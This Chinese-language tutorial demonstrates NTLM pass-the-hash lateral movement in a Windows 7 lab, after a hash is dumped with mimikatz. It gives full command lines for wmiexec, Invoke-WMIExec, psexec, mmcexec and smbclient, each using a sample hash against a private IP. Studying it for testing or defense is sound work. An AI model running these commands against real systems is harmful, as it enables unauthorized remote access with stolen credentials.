前言
随着人们的安全意识逐渐增强,企业内的服务器弱口令也逐渐减少,密码复杂度提高,当我们获取到服务器权限后,可以提取出用户密码hash,但多数情况下显然是难以解密出明文密码。这时候就需要用到内网hash传递技术了。哈希传递利用了NTLM认证机制的缺陷,可以直接利用密码hash值来进行NTLM认证。如果目标主机与我们提取到密码hash值的机器密码相同时,便可直接使用hash值来远程登录目标主机。
135端口WMI哈希传递
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具, Windows 98 以后的操作系统都支持 WMI。以下使用Windows7系统演示。
首先在Windows7虚拟机上使用mimikatz工具提取出管理员密码哈希值,在物理机使用wmiexec工具进行连接,此处使用Windows版本wmiexec。注意只允许RID为500的账户才能传递不然会提示rpc_s_access_denied。
wmiexec
如果只获取到NThash,LMhash部分可使用32个0替代。
wmiexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157
Invoke-WMIExec.ps1
还可以使用ps的哈希传递脚本,我这里直接导入了Invoke-WMIExec.ps1
Invoke-WMIExec -Target 10.50.10.157 -Username Administrator -hash 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 -Command "whoami" -Verbose
445端口smb哈希传递
psexec
psexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157
mmcexec
mmcexec.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157
smbclient
smbclient.exe -hashes 00000000000000000000000000000000:087c5f34c0bc3d2d3f6f6dbba9f4cd92 Administrator@10.50.10.157